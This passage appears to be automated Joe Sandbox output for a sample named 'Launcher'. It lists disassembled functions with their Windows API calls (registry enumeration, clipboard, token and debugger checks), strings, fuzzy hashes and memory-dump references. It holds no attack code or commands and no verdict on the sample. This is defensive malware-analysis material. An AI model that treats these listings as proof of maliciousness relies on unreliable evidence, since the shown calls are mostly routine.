Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #4146
String ID:
API String ID: 1848845558-0
Opcode ID: db260932d695573c051feaa346e26578e55ea5e1411149e61a8cf7a75880d7ed
Instruction ID: 0aa10be72865a5a4d7a7fcaff5a0f634a081da46fc9213c0092fb1c669b185de
Opcode Fuzzy Hash: db260932d695573c051feaa346e26578e55ea5e1411149e61a8cf7a75880d7ed
Instruction Fuzzy Hash: 69C0123700014DBBCF015E55DC01C9A3BA9EF40320B004000FC3845161CB72D830A660

Function 00B6EDF0 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

__wgetmainargs.KERNELBASE ref: 00B6EE14

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: __wgetmainargs
String ID:
API String ID: 1709950718-0
Opcode ID: ac48f9eac94875449b89007c16b1bc291496b7f7ed8dfc4444a86026fa84d02b
Instruction ID: 1ee616eef60b2fc69b4be53e4c873a3be5c142771c86a2de50fdad1b36ea7e32
Opcode Fuzzy Hash: ac48f9eac94875449b89007c16b1bc291496b7f7ed8dfc4444a86026fa84d02b
Instruction Fuzzy Hash: 9AD0C271AC0642BF8644DB54AC4781A3AE8A614F067058095F5AD63571DBE387D0BB51

Function 00B5E18B Relevance: 1.5, APIs: 1, Instructions: 10windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000000B,?,00000000), ref: 00B5E19A

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4c6d70049b8a5fea39d6452274362375c35d7c4ac4cf219c880d1f3d7eaf60bd
Instruction ID: f600aeab75c3055fad5d51c8890791f014e5b63ba1ec80b847d9ec6e6e13dd80
Opcode Fuzzy Hash: 4c6d70049b8a5fea39d6452274362375c35d7c4ac4cf219c880d1f3d7eaf60bd
Instruction Fuzzy Hash: 36C09B73140208B7D7221B51DC05F867F69E795762F514011F71C1D0B18F739871D654

Function 00B655E4 Relevance: 1.5, APIs: 1, Instructions: 10windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001102,00000000,00000003), ref: 00B655F7

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 71cc1bfd1f09b5b5e4394b08ccc46322cf5f84278e5a47e18545835bc9e4540f
Instruction ID: 2c87578d510f863e69c491da9ae4f4fd9a23f3d0ff5fff06bde2464f6bd33ea5
Opcode Fuzzy Hash: 71cc1bfd1f09b5b5e4394b08ccc46322cf5f84278e5a47e18545835bc9e4540f
Instruction Fuzzy Hash: 98C04C37040108BBDB065F91DC09CC57F6AFB99762B518011F65C090718B7399B1EB50

Function 00B67F0B Relevance: 1.5, APIs: 1, Instructions: 10windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,00B64852), ref: 00B67F1D

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 6085bab19e5e1048ef3a05cefd005aea3e35859ef721058e930dd07edea72807
Instruction ID: c577ac7598337293c2b2cd0998a64c0d9f95a0a8decb6a4feb2f20c90cb0a64f
Opcode Fuzzy Hash: 6085bab19e5e1048ef3a05cefd005aea3e35859ef721058e930dd07edea72807
Instruction Fuzzy Hash: 3BC04C72180208BBD6155B51DC05FC57E6AE795762F514011F718190A18B7399619654

Function 07BE0549 Relevance: .4, Instructions: 388COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1874612386.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7be0000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f38b45e75159ae26ad336c450694e2578a304413fc4e4367f4e1f106856abe1b
Instruction ID: aeaecf47476aa4370342bcd2078920b4943ac3098c73927f16800b0f0b5f7d6d
Opcode Fuzzy Hash: f38b45e75159ae26ad336c450694e2578a304413fc4e4367f4e1f106856abe1b
Instruction Fuzzy Hash: 85D05E6020C3C48FD31327B4B6291A93F598FDB105F0504AED18A8B1C2CE0814018393

Function 07BE0991 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1874612386.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7be0000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8634f3c188c206b9316f6687aa2eddf7efea35669060164a2ceb14116244fa9
Instruction ID: 9a89118eac63b4722f7032110a3a98fc8108d54b1fc0bdde3939178d51b1db8f
Opcode Fuzzy Hash: e8634f3c188c206b9316f6687aa2eddf7efea35669060164a2ceb14116244fa9
Instruction Fuzzy Hash: 0421A070700309CFEB05EB78D5147AE7AABEB89300F20446CD105B77A5DFBAAC458BA1

Function 07B9D01C Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1874409247.0000000007B9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b9d000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e85f8b874860182e10aba08e8d85af190a84f29f14d10313d8ad3742824e32a
Instruction ID: 64053eb1355fb6333d7b82234e217d9154a45086824fd5e396d4714fe3182314
Opcode Fuzzy Hash: 9e85f8b874860182e10aba08e8d85af190a84f29f14d10313d8ad3742824e32a
Instruction Fuzzy Hash: F11126F1744340DFEF50EF25DA84B26BBA4EB44314F208ABDD4494B241C33AD447C662

Function 07B9D006 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1874409247.0000000007B9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b9d000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22b937e05fecc0cfe411fbdde06990dad91a5034404c6a0e0e5cb49c6082c870
Instruction ID: dee44567f24b7c876b12bb8e799592d15738ed515f9c3e58ad3056b8a79b9ecc
Opcode Fuzzy Hash: 22b937e05fecc0cfe411fbdde06990dad91a5034404c6a0e0e5cb49c6082c870
Instruction Fuzzy Hash: 7C1173F16097C08FEB16DF24D594715BF71EB41214F2586FAC8898B693C33A944AC762

Function 07BE0869 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1874612386.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7be0000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85efbf80b31e0e795c1170875d3cc4e390011181a75beee1b804d9191f60547d
Instruction ID: ba3275e79bd74944bbab23191b51a3ba61defc0eb219d3a8d0b2227d0f35d111
Opcode Fuzzy Hash: 85efbf80b31e0e795c1170875d3cc4e390011181a75beee1b804d9191f60547d
Instruction Fuzzy Hash: 391191716003468FDB14EB25E9147EE7BB6EF85304F10096CD0467B3A6DBB86809CB91

Function 07BE0ABF Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1874612386.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7be0000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 394c6b2db3826c567a24eceffdb8a36319b36e71a328cb1e078e69d09b2eb791
Instruction ID: ed6c6f202e3b3f6ea2cc0d6fc0e3467c3ee788fe7acbfefff30b9318ca614900
Opcode Fuzzy Hash: 394c6b2db3826c567a24eceffdb8a36319b36e71a328cb1e078e69d09b2eb791
Instruction Fuzzy Hash: 99D05E306401458ECF05E6B8A0012DCBB61EF80219F0045AAC105AB181DB67A50A83A2

Function 07BE0848 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1874612386.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7be0000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feed0b877999e469a8bbe72babbc8bce006c34f54acce0204063c2ec7a70bfda
Instruction ID: dc47bedae5edb5f7f8bf53e32539f603b0d1163cf2d4d3aa1723385b89ec4f70
Opcode Fuzzy Hash: feed0b877999e469a8bbe72babbc8bce006c34f54acce0204063c2ec7a70bfda
Instruction Fuzzy Hash: 09B012B01403CCCBD24137F6F70E15E375DEB88616B400060EA1EC32819F6D150285A6

Non-executed Functions

Function 00B69634 Relevance: 51.2, APIs: 23, Strings: 6, Instructions: 469registrystringwindowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B6963E
RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000,0000009C,00B6ACE5,?,?), ref: 00B6966E
RegEnumValueW.ADVAPI32(?,00000000,00000000,?,00000000,?,00000000,?), ref: 00B697A0
wsprintfW.USER32 ref: 00B69854
wsprintfW.USER32 ref: 00B6986C
wsprintfW.USER32 ref: 00B69925
wsprintfW.USER32 ref: 00B6993B
lstrcpyW.KERNEL32(?,?), ref: 00B69956
#538.MFC42U(00000000), ref: 00B6997D
#538.MFC42U(00000000,00000000), ref: 00B69996
#800.MFC42U(?,?,?,00000000,00000000), ref: 00B699D6
#800.MFC42U ref: 00B699EF
SendMessageW.USER32(?,00001132,00000000,?), ref: 00B69A0F
RegEnumValueW.ADVAPI32(?,?,00000000,?,00000000,?,00000000,?), ref: 00B69A41
RegOpenKeyExW.ADVAPI32(?,00000000,00000000,00020019,?), ref: 00B69AB4
#538.MFC42U(00000000), ref: 00B69AC2

Part of subcall function 00B69634: memset.MSVCRT ref: 00B69884
Part of subcall function 00B69634: _itow.MSVCRT ref: 00B698C3
Part of subcall function 00B69634: lstrcpyW.KERNEL32(00000000,<cannot coerce data to string>), ref: 00B698FD
Part of subcall function 00B69634: #800.MFC42U(00000000), ref: 00B69AE7
Part of subcall function 00B69634: SendMessageW.USER32(?,00001102,00000002,00000000), ref: 00B69AFE
Part of subcall function 00B69634: RegCloseKey.ADVAPI32(?), ref: 00B69B07

RegEnumKeyW.ADVAPI32(?,00000000,00000000,?), ref: 00B69B16

Strings

%s [<no name>] = %s, xrefs: 00B6991D
<cannot coerce data to string>, xrefs: 00B698F7
%#08X (%lu), xrefs: 00B69866
%s = %s, xrefs: 00B69916
%s [%s] = %s, xrefs: 00B69933
%#04X%04X (%lu), xrefs: 00B6984E

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: wsprintf$#538#800Enum$MessageSendValuelstrcpy$CloseH_prolog3InfoOpenQuery_itowmemset
String ID: %#04X%04X (%lu)$%#08X (%lu)$%s = %s$%s [%s] = %s$%s [<no name>] = %s$<cannot coerce data to string>
API String ID: 88432742-3653656851
Opcode ID: 131921b20496befd27516987d521aea14435511c9b02be101952f1e1bf152be9
Instruction ID: 59dd874e9cbcf97d52b0ebd294a8dabd8bc1d7e6b157c043b59db0e0eab10185
Opcode Fuzzy Hash: 131921b20496befd27516987d521aea14435511c9b02be101952f1e1bf152be9
Instruction Fuzzy Hash: 1BF13D71A00209AFDF15DFA8DC85ABEB7F8EF19300F1044AAF516E7291DB799941CB60

Function 00B64899 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 162stringCOMMON

Download Yara Rule

APIs

#1662.MFC42U ref: 00B648D9
#540.MFC42U ref: 00B648F3
lstrcpyW.KERNEL32(?,00000000), ref: 00B64912
CreateBindCtx.OLE32(00000000,?), ref: 00B64936
MkParseDisplayName.OLE32(?,00000000,00000000,00000000), ref: 00B64971
#2644.MFC42U ref: 00B649D1
#2810.MFC42U(?,MkParseDisplayName(... "%s" ...) failed.,?), ref: 00B649E9
#800.MFC42U(?,00000000), ref: 00B64A19
lstrlenW.KERNEL32(?), ref: 00B64A30
#2810.MFC42U(?,Warning: MkParseDisplayName only ate up to "%s".,?), ref: 00B64A82
#2644.MFC42U ref: 00B64B42
#800.MFC42U ref: 00B64B5D

Strings

MkParseDisplayName(... "%s" ...) failed., xrefs: 00B649DD
Warning: MkParseDisplayName only ate up to "%s"., xrefs: 00B64A76

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2644#2810#800$#1662#540BindCreateDisplayNameParselstrcpylstrlen
String ID: MkParseDisplayName(... "%s" ...) failed.$Warning: MkParseDisplayName only ate up to "%s".
API String ID: 3470803309-1365492349
Opcode ID: aed1e44c9ea8cbe71369fcacdd3f14fe319012531415af4fa57956baaeb79559
Instruction ID: 4c4fac4420a736fe6fcf62698eb7fc50aab296dc8853b91cca0683bfa1922b11
Opcode Fuzzy Hash: aed1e44c9ea8cbe71369fcacdd3f14fe319012531415af4fa57956baaeb79559
Instruction Fuzzy Hash: 6381917594122CAFCB60EFA4DC89BD9B7B4FB58311F1041E5E819A7261DB38AE84CF14

Function 00B63450 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 132clipboardmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B678ED: GetFocus.USER32 ref: 00B678ED
Part of subcall function 00B678ED: #2859.MFC42U(00000000), ref: 00B678F4

Part of subcall function 00B67980: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B6798C

GlobalAlloc.KERNEL32(00002002,00000200), ref: 00B63522
GlobalLock.KERNEL32(?), ref: 00B63534
StringFromGUID2.OLE32(-00000008,?,00000028), ref: 00B63553
wsprintfW.USER32 ref: 00B63650
GlobalUnlock.KERNEL32(?), ref: 00B6365F
EmptyClipboard.USER32 ref: 00B63670
SetClipboardData.USER32(0000000D,?), ref: 00B6367E
CloseClipboard.USER32 ref: 00B63684

Part of subcall function 00B678FA: SendMessageW.USER32(?,0000113E,00000000,00000014), ref: 00B6790C

Strings

<object classid="clsid:%s"></object>, xrefs: 00B63645
P, xrefs: 00B63624

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: ClipboardGlobal$MessageSend$#2859AllocCloseDataEmptyFocusFromLockStringUnlockwsprintf
String ID: <object classid="clsid:%s"></object>$P
API String ID: 2486233384-3677239044
Opcode ID: 84fb4b8b6afeaf98d62fdc09ebeca1616c3ad9850fddac071aa652296bc4d7ae
Instruction ID: 100621caf908afad42e51578f9e046359417a0c5d97e3eb4402bcaa395c20b18
Opcode Fuzzy Hash: 84fb4b8b6afeaf98d62fdc09ebeca1616c3ad9850fddac071aa652296bc4d7ae
Instruction Fuzzy Hash: BF51A274A05228DFEB20DB64CD49B99B7F5FF18305F0041EAE54AA7291EB785E84CF12

Function 00B6DA20 Relevance: 13.6, APIs: 9, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00020008,000000FF), ref: 00B6DA51
OpenProcessToken.ADVAPI32(00000000), ref: 00B6DA58
malloc.MSVCRT ref: 00B6DA69
GetTokenInformation.ADVAPI32(000000FF,00000002,00000000,00008000,?), ref: 00B6DA81
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00B6DAA2
EqualSid.ADVAPI32(00000004,?), ref: 00B6DABD
FreeSid.ADVAPI32(00000000), ref: 00B6DAE4
free.MSVCRT ref: 00B6DAEF
CloseHandle.KERNEL32(000000FF), ref: 00B6DAFF

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: ProcessToken$AllocateCloseCurrentEqualFreeHandleInformationInitializeOpenfreemalloc
String ID:
API String ID: 4152120180-0
Opcode ID: 97b91db7ae90df089380fffa4330c5605373e82df9591b365fa46e71340b97cb
Instruction ID: 11e3cfb357fccea22d94eb4591525fae28d112411ef8a086bc5495dc504785d2
Opcode Fuzzy Hash: 97b91db7ae90df089380fffa4330c5605373e82df9591b365fa46e71340b97cb
Instruction Fuzzy Hash: 3E318B31E0520AAFDB20DFA4DC89AAEBBB8FB00712F140169E615A3190DB349E41CB50

Function 00B62EF0 Relevance: 10.6, APIs: 7, Instructions: 69clipboardmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B678ED: GetFocus.USER32 ref: 00B678ED
Part of subcall function 00B678ED: #2859.MFC42U(00000000), ref: 00B678F4

Part of subcall function 00B67980: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B6798C

GlobalAlloc.KERNEL32(00002002,00000080), ref: 00B62F82
GlobalLock.KERNEL32(?), ref: 00B62F8E
StringFromGUID2.OLE32(-00000008,?,00000028), ref: 00B62FA3
GlobalUnlock.KERNEL32(?), ref: 00B62FAC
EmptyClipboard.USER32 ref: 00B62FBA
SetClipboardData.USER32(0000000D,?), ref: 00B62FC5
CloseClipboard.USER32 ref: 00B62FCB

Part of subcall function 00B678FA: SendMessageW.USER32(?,0000113E,00000000,00000014), ref: 00B6790C

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: ClipboardGlobal$MessageSend$#2859AllocCloseDataEmptyFocusFromLockStringUnlock
String ID:
API String ID: 1702833241-0
Opcode ID: afd9d48fda243de431cc71187753fb67b93ae3bb1c4a2e4fb3cc86a7bac66385
Instruction ID: 45c53159b52c2af38371889ee725f8e542c6d42edb60a56e2064e5bb778cdfa7
Opcode Fuzzy Hash: afd9d48fda243de431cc71187753fb67b93ae3bb1c4a2e4fb3cc86a7bac66385
Instruction Fuzzy Hash: 7021E670D40208EFEF14ABA4D84ABADBBF4FF44306F1040A9E915A72A1EF785E44DB51

Function 00B6C9DB Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 396fbb56de2531438a53531cf52fe8a671766fcba803d0ad55ca1cc2c819481d
Instruction ID: 3f2d2ce55079b3e3fe1b435594b7bfcc22baafc5e0bb374ced9bd3a8c3f9c91f
Opcode Fuzzy Hash: 396fbb56de2531438a53531cf52fe8a671766fcba803d0ad55ca1cc2c819481d
Instruction Fuzzy Hash: EA21F87790011AEBDB14DBD4DC45ABFBBECEB00351F2141AAF945EB194EB389D4097A0

Function 00B6FE37 Relevance: 9.1, APIs: 6, Instructions: 74COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00B6FE45
memset.MSVCRT ref: 00B6FE6B
memset.MSVCRT ref: 00B6FEF5
IsDebuggerPresent.KERNEL32 ref: 00B6FF11
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B6FF31
UnhandledExceptionFilter.KERNEL32(?), ref: 00B6FF3B

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: 943e4e2722c9fd7e72ed0b9a6e7737f05fd7259a7501e93ba58369b67b5ebf59
Instruction ID: e74cd2a088a264b95a03a30d57a3968bda8f14e7f0559e09d5ff835c69922853
Opcode Fuzzy Hash: 943e4e2722c9fd7e72ed0b9a6e7737f05fd7259a7501e93ba58369b67b5ebf59
Instruction Fuzzy Hash: 6E3109B5D0521D9BDB10EFA4D989BCCBBF8AF18301F1041EAE40DAB250EB759A84DF45

Function 00B6FCE5 Relevance: 7.6, APIs: 5, Instructions: 50timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00B6FD12
GetCurrentProcessId.KERNEL32 ref: 00B6FD21
GetCurrentThreadId.KERNEL32 ref: 00B6FD2A
GetTickCount.KERNEL32 ref: 00B6FD33
QueryPerformanceCounter.KERNEL32(?), ref: 00B6FD48

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 94448bc373dc3e0b58c4c989711704dfe501b147081278fbb26769d5cbd8a96d
Instruction ID: a99c1f5c289649bfaa8ba83663d1610361fb981db6a851b2047ad49edaf77716
Opcode Fuzzy Hash: 94448bc373dc3e0b58c4c989711704dfe501b147081278fbb26769d5cbd8a96d
Instruction Fuzzy Hash: 2A110671D01209EFCB10DBB8E9486AEBBF4FF58712F9148A6D406E7214EB359B80DB40

Function 00B6F4CC Relevance: 6.0, APIs: 4, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00B6F602,00B59E34), ref: 00B6F4D3
UnhandledExceptionFilter.KERNEL32(00B6F602,?,00B6F602,00B59E34), ref: 00B6F4DC
GetCurrentProcess.KERNEL32(C0000409,?,00B6F602,00B59E34), ref: 00B6F4E7
TerminateProcess.KERNEL32(00000000,?,00B6F602,00B59E34), ref: 00B6F4EE

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 8abf0f2849f882813053c9776f2d20e08662c8625d668cd35784af79d42609e6
Instruction ID: bb994565da4d2be411cae95b031b088e0d890210d438a3f6588dd973729c9c7e
Opcode Fuzzy Hash: 8abf0f2849f882813053c9776f2d20e08662c8625d668cd35784af79d42609e6
Instruction Fuzzy Hash: 74D0CA32040208ABCB003BE9EC0DA4D3F28EBA9213F864810F30EA3C20DF3188C18B61

Function 00B6C7BB Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,0000000C,00000000,0000000C,00000001,?,00000000,00000001,?,?,00B6BA07,System,00000001,00000000), ref: 00B6C7E2
GetLastError.KERNEL32(?,00B6BA07,System,00000001,00000000), ref: 00B6C7EC

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: DaclDescriptorErrorLastSecurity
String ID:
API String ID: 914054853-0
Opcode ID: 241e9912000c8e011df10f82ae8bfc15c986a488868ccb6704ae0e7aca5f6f3c
